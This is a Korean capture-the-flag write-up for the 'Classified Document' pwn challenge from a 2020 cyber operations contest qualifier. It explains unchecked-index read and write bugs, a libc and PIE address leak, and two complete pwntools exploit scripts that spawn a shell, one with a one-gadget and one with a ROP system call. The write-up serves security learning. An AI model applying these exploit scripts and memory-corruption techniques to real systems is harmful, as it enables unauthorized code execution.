CTF Writeup

사이버 작전경연대회 2020 예선 Classified Document Writeup

LittleDev0617 2020. 9. 13. 13:47

지금 생각해보면 Future Virus도 충분히 풀 수 있었고, Auth Code도 대회 끝난후 팀원이 풀어서 매우 아쉬움이 남는 대회였습니다. 

정작 예선 9등으로 본선 가지도 못하지만, 항상 대회 끝나고 이렇게 생각이 나는지 모르겠습니다.

아무튼, Classified Document 문제, 한문제라도 풀라고 출제하신 것만 같은 문제였습니다.

p.s. 다음부턴 대규모 대회에선 우분투 18.04 이후 버전에서 테스트하자.

일단, 기드라로 디컴해보았습니다. 그리고, 분석해서 구조체를 정의했습니다. document 구조체는 4바이트의 flag(-1/1) 과 80바이트의 content[10] 가 있습니다. 그리고 처음에 이 문제를 봤을때 menu만 봤는데 Add, Edit, Delete, Show 메뉴가 있길래 '아 힙이네' 하고 꺼버렸던 기억이 있네요.. 다시 보니, 그냥 스택 exploit 이었습니다.

 

암튼, 분석해본 결과, main 함수에 document[100] 이 있고, 사용하지 않는 document에 대해선 flag가 -1로 설정되고, 사용하는 document는 1로 설정됩니다.

취약점이 터지는 함수는 modify_document 와 show_document 인데, modify 함수는 content index를 검사하지 않고, show 함수는 document의 index를 검사하지 않는 것을 볼수 있습니다. 그래서 show 함수는 100 넘어의 index 부터 10 * 8 바이트를 leak 할 수 있고, modify 함수는 99 index 에서 i * 8 바이트 떨어진 곳에 write 할 수 있습니다.

여기까지 보면 매우 쉽고 단순하게 익스가 가능할 것 같지만, document 구조체는 84byte 이기 때문에, 4바이트씩 밀리기 시작합니다. 홀수 번째 index의 document는 깔끔하게 8byte 정렬되지만, 짝수 번째 index는 4바이트씩 밀리기 때문에, show 할때 %s 로 leak 하기 때문에, 난감해지죠. 더군다나 libc_start_main_ret 는 100 번째 index에 속하기 때문에, leak 할때 널바이트를 만나기 마련입니다. 

위의 사진을 보면 0xde6c 가 &document[99] 입니다. 그러면, flag도 0xde6c 일 것이고, de70 부터 10 * 8 byte는 깔끔하게 이어집니다. 그러고 나서 &document[100] 은 0xdec0이 되고, 4바이트씩 밀리게 됩니다. 그러면, 0xded8을 출력하려면, show(100)을 출력해야합니다.

위 그림(다른 프로세스입니다)을 보면, 끝 3자리가 b97인 0xaa48 이 libc_start_main_ret 인 것을 알 수 있습니다. 한번 여기서 show(100) 을 한다 가정해보겠습니다.

0xff 0x7f / 0x2c 0x7e 0x88 0xf6 0x60 0x98 0x49 0x59 0x94 0x55 / 0x94 0x55 / 0x1f 0x7f / 0x20 ... 이런 식으로 갈겁니다. 여기서 주의하셔야 할 점은 리틀 엔디안이기 때문에 오른쪽에서부터 읽으셔야합니다. 

아무튼, 우리는 0x7f1ff57beb97을 leak 하고 싶기 때문에, 0xaa40 부분을 널문자가 아닌 문자로 채워주면 될 것 같습니다. 만약 AAAAAAAA 로 채운다면, A A A A 0x97 0xeb 0x7b 0xf5 0x1f 0x7f 이렇게 leak 될 것입니다.

 

아, 그리고 glibc 2.27 버전 이후 환경에서는, 원샷이나 system 전에 ret 을 넣어주어야 합니다. 이것 때문에 시간 2시간 정도 삽질한 것 같습니다.. 우분투 18.04 깔아놓고 왜 안썼는지.. 

 

ret을 넣어주려면 pie가 걸려있기 때문에, pie_base도 알아내야합니다. 마침 위의 사진에서 ret 밑에 있는 0x559459499731이 main 함수 주소여서, 이것도 leak 하고 오프셋을 빼주면 구할 수 있게 됩니다.

 

결국 최종 흐름은 다음과 같습니다.

add() * 100

modify(99,12,’DUUUUUMY’) #documents[99][12] == SFP

modify(99,16,’DUUUUUMY’) # -> &(pie_base+main) – 8

show(100) # -> Stack Leak

modify(99,13,&ret) # -> &libc_start_main_ret

modify(99,14,oneshot)

-원샷을 이용한 풀이

from pwn import *

context.arch = 'x86_64'
p = process('./document')
e = ELF('./document')
libc = e.libc

def show(idx):
	p.sendlineafter('>','2')
	p.sendlineafter('>',str(idx))
	r = [0] * 10
	p.recvuntil('Document Content: \n')
	for i in range(0,10):
		tmp = p.recvuntil(' -> ').split(' -')[0]
		r[i] = tmp
	return r

def add(data=[0]*10):
	p.sendlineafter('>','1')
	for i in range(0,10):
		p.sendlineafter('>', str(data[i]))

def modify(idx,i,data):
	p.sendlineafter('>','3')
	p.sendlineafter('>',str(idx))
	p.sendlineafter('>',str(i))
	p.sendafter('>',data)

def delete(idx):
	p.sendlineafter('>','4')
	p.sendlineafter('>',str(idx))

for i in range(0,100):
	add()

modify(99,12,'AAAAAAAA')
modify(99,16,'kkkkkkkk')
a = show(100)
leak = u64(a[1].split('AAAAAAAA')[1]+'\0'*2)
pie_leak = u64(a[6].split('kkkk')[1]+'\0'*2)

base = leak - 0x021b97
pie_base = pie_leak - 0x1731
pr = 0x18c3

oneshot = 0x4f3c2 + base
modify(99,13,p64(pie_base + pr + 1))
modify(99,14,p64(oneshot))
p.interactive()

- ROP

from pwn import *

context.arch = 'x86_64'
p = process('./document')
e = ELF('./document')
libc = e.libc

def show(idx):
	p.sendlineafter('>','2')
	p.sendlineafter('>',str(idx))
	r = [0] * 10
	p.recvuntil('Document Content: \n')
	for i in range(0,10):
		tmp = p.recvuntil(' -> ').split(' -')[0]
		r[i] = tmp
	return r

def add(data=[0]*10):
	p.sendlineafter('>','1')
	for i in range(0,10):
		p.sendlineafter('>', str(data[i]))

def modify(idx,i,data):
	p.sendlineafter('>','3')
	p.sendlineafter('>',str(idx))
	p.sendlineafter('>',str(i))
	p.sendafter('>',data)

def delete(idx):
	p.sendlineafter('>','4')
	p.sendlineafter('>',str(idx))

for i in range(0,100):
	add()

modify(99,12,'AAAAAAAA')
modify(99,16,'kkkkkkkk')
a = show(100)
leak = u64(a[1].split('AAAAAAAA')[1]+'\0'*2)
pie_leak = u64(a[6].split('kkkk')[1]+'\0'*2)

base = leak - 0x021b97
pie_base = pie_leak - 0x1731
binsh = base + 0x1b3e9a
pr = 0x18c3

payload = [0]*4
payload[0] = p64(pie_base + pr)
payload[1] = p64(binsh)
payload[2] = p64(pie_base + pr + 1)
payload[3] = p64(base + libc.symbols['system'])

modify(99,13,payload[0])
modify(99,14,payload[1])
modify(99,15,payload[2])
modify(99,16,payload[3])
p.interactive()

쉘이 따진 것을 확인할 수 있습니다.

'CTF Writeup' 카테고리의 다른 글

2020 Layer7 CTF - Layer7 VM pwn/rev Writeup  (0) 2020.11.19
2020 Layer7 CTF - Mask Store Writeup  (0) 2020.11.19
2019 ROOT CTF Wripteup  (0) 2020.09.07
2020 Incognito CTF Writeup  (0) 2020.09.07
2019 Layer7 CTF - Login Challenge  (0) 2020.09.07